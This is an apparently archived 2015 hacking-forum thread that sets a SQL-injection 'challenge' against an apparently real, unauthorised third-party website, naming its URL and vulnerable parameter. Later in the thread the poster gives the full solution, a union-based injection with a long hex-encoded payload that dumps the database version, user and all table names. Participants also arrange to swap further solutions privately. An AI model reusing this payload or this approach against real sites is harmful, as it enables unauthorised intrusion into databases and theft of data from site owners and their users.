Jan 20, 2015 03:59 AM
(This post was last modified: Jan 20, 2015 04:17 AM by rootxx.)
Url:- hssp :// raphay.com/m/index.php?
POI:: $_post Url=List%2c1
Level :- Medium to Hard
#______Tasks___________
1) Do not change perameters 😠 😠
2) Print Your Leet Name wid version , DB and user.
3) Print Tables.
#______Rules_____ ______
1) Union Based Only ...
2) Don't Reveal Any Shit related to the chall not a single word..
3) Pm me your Queries ...
#______My proof 🤝______
i. imgur. com/ dBvaxZT.png
Solvers
1)
2)
You should rather use [size] and [color] tags
Thread looks LQ
(Jan 20, 2015 04:07 AM)DamienVC Wrote: You should rather use [size] and [color] tags
Thread looks LQ
its fine now i think 🤗
35 characters are something osum i love it very much :/
(Jan 20, 2015 04:24 AM)rootxx Wrote: its fine now i think 🤗
35 characters are something osum i love it very much :/
Dont try to bypass the 35 character limit, you'll get warned for that as doing so is against the site policies.
Np, bro.
DO NOT DEAL WITH THIS MEMBER
Thanks 4 the challenge brother. I PM you the query. Sorry this time i unable to take screenshot. By the way nice challenge 🤝
(Jan 20, 2015 05:39 AM)Aakash Choudhary Wrote: Thanks 4 the challenge brother. I PM you the query. Sorry this time i unable to take screenshot. By the way nice challenge 🤝
DO not change parameter 😠 😠
read the rules again
sorry solution not accepted
are you sure its still vuln? i dont get any error. 🙂
if you cant find somethin to live for, you best find somethin to die for.
(Jan 20, 2015 07:04 AM)benzi Wrote: are you sure its still vuln? i dont get any error. 🙂
yes good catch master 🤝
its patched
😭 😭
challenge closed else it was fucking fantastic challenge 🤗
(Jan 20, 2015 09:55 AM)rootxx Wrote: yes good catch master 🤝
its patched
😭 😭
challenge closed else it was fucking fantastic challenge 🤗
post the solution here, for those who couldnt solve it, like Aakash Choudhary, could learn.
if you cant find somethin to live for, you best find somethin to die for.
yes sure
here it is
basically it was a routed sqli with embeded error based dios here is my query
url=List,1' union select 0x312720616e642873656c6563742821726f6f742d7e302966726f6d2873656c6563742f2a2a2f636f6e6361745f77732830783230323033613361336132302c3078336336363666366537343230363336663663366637323364373236353634336533633632373233653732333036663734343034383333353833343339323037633763323037323666366637343738373832303363363636663665373432303633366636633666373233643637373236353635366533652c76657273696f6e28292c646174616261736528292c7573657228292c3078336336363666366537343230363336663663366637323364363236633735363533652c403a3d302c2873656c65637420636f756e74282a292066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f736368656d613d6461746162617365282920616e6420403a3d636f6e6361742f2a2a2f28402c307833633663363933652c7461626c655f6e616d6529292c4029726f6f74297a29616e642f2a2a2f2731;%00
(Jan 21, 2015 06:12 AM)rootxx Wrote: yes sure
here it is
basically it was a routed sqli with embeded error based dios here is my query
url=List,1' union select 0x312720616e642873656c6563742821726f6f742d7e302966726f6d2873656c6563742f2a2a2f636f6e6361745f77732830783230323033613361336132302c3078336336363666366537343230363336663663366637323364373236353634336533633632373233653732333036663734343034383333353833343339323037633763323037323666366637343738373832303363363636663665373432303633366636633666373233643637373236353635366533652c76657273696f6e28292c646174616261736528292c7573657228292c3078336336363666366537343230363336663663366637323364363236633735363533652c403a3d302c2873656c65637420636f756e74282a292066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f736368656d613d6461746162617365282920616e6420403a3d636f6e6361742f2a2a2f28402c307833633663363933652c7461626c655f6e616d6529292c4029726f6f74297a29616e642f2a2a2f2731;%00
seems nice, sorry i missed it.
btw, i saw you solved sn00py challs.
wanna trade solutions?
if you cant find somethin to live for, you best find somethin to die for.
yes sure master can i have the link in pm ?
DO NOT DEAL WITH THIS MEMBER
Brother thanks for the solution. (Y). 🤝
|
